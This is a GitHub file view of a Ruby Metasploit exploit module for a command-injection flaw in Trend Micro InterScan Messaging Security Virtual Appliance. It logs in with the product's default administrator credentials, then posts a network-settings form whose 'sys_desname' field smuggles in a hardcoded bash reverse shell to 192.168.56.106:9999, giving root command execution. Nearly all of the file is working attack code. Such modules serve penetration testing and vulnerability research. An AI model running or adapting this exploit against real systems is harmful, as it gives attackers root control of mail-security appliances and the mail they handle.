-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathtrend_micro_imsva_exec_wizard-v2.rb
More file actions
152 lines (128 loc) · 5.1 KB
/
Copy pathtrend_micro_imsva_exec_wizard-v2.rb
File metadata and controls
152 lines (128 loc) · 5.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution',
'Description' => %q{
This module exploits a command injection vulnerability in the Trend Micro
IMSVA product. An authenticated user can execute a terminal command under
the context of the web server user which is root. Besides, default installation
of IMSVA comes with a default administrator credentials.
WizardSetting_sys.imss endpoint takes several user inputs and performs LAN settings.
After that it use them as argument of predefined operating system command
without proper sanitation. It's possible to inject arbitrary commands into it.
InterScan Messaging Security prior to 9.1.-1600 affected by this issue.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Cody Sixteen <610code\at\gmail.com>', # found bug, rewrite poc
'Mehmet Ince <mehmet\at\mehmetince.net>' # msf module based on pentest.blog
],
'References' =>
[
['CVE', '2017-not-yet'],
['URL', 'https://code610.blogspot.com/2017/08/rce-in-trend-micro-imsva-91.html'],
['URL', 'https://pentest.blog/advisory-trend-micro-interscan-messaging-security-virtual-appliance-remote-code-execution/']
],
'Privileged' => true,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'BadChars' => "\x2f\x22"
},
'DefaultOptions' =>
{
'SSL' => true,
'payload' => 'python/meterpreter/reverse_tcp',
},
'Platform' => [''],
'Arch' => ARCH_PYTHON,
'Targets' => [ ['Automatic', {}] ],
'DisclosureDate' => 'Aug 18 2017',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [true, 'The target URI of the Trend Micro IMSVA', '/']),
OptString.new('USERNAME', [ true, 'The username for authentication', 'admin' ]),
OptString.new('PASSWORD', [ true, 'The password for authentication', 'imsva' ]),
Opt::RPORT(8445)
]
)
end
def login
user = datastore['USERNAME']
pass = datastore['PASSWORD']
print_status("Attempting to login with #{user}:#{pass}")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login.imss'),
'vars_post' => {
'userid' => user,
'pwdfake' => Rex::Text::encode_base64(pass)
}
})
if res && res.body.include?("The user name or password you entered is invalid")
fail_with(Failure::NoAccess, "#{peer} - Login with #{user}:#{pass} failed...")
end
cookie = res.get_cookies
if res.code == 302 && cookie.include?("JSESSIONID")
jsessionid = cookie.scan(/JSESSIONID=(\w+);/).flatten.first
print_good("Authenticated as #{user}:#{pass}")
return jsessionid
end
nil
end
def exploit
jsessionid = login
unless jsessionid
fail_with(Failure::Unknown, 'Unable to obtain the cookie session ID')
end
# Somehow java stores last visited url on session like viewstate!
# Visit form before submitting it. Otherwise, it will cause a crash.
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'WizardSetting_sys.imss?direct=next'),
'cookie' => "JSESSIONID=#{jsessionid}"
})
if !res
fail_with(Failure::Unknown, 'Unable to visit WizardSetting_sys.imss')
end
print_status("Delivering payload...")
# payload ; thanks goes to: bernardodamele.blogspot.com/2011/09/reverse-shells-one-liners.html
# remember to set your listening nc in 2nd window
cmd = "eth0'; 0<&196;exec 196<>/dev/tcp/192.168.56.106/9999;sh <&196 >&196 2>&196 ;#"
# print_status("payload: #{cmd}") ;]
payl = cmd.encode
# go.
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'WizardSetting_sys.imss'),
'cookie' => "JSESSIONID=#{jsessionid}",
'vars_get' => {
'direct' => 'next'
},
'vars_post' => {
'time_distance' => '0',
'sys_ipv4_addr_eth0' => '192.168.56.34',
'sys_ipv4_mask_eth0' => '255.255.255.0',
'sys_desname' => "#{cmd}",
'sys_hostname' => 'trend.me',
'sys_ipv4_gateway' => '192.168.56.1',
'sys_ipv4_pri_dns' => '192.168.56.1',
'sys_ipv4_sec_dns' => '',
'sys_tz_cont' => 'America',
'sys_tz_regn' => 'United+States',
'sys_tz_city' => 'New_York',
}
})
print_status("Payload finished.")
end
end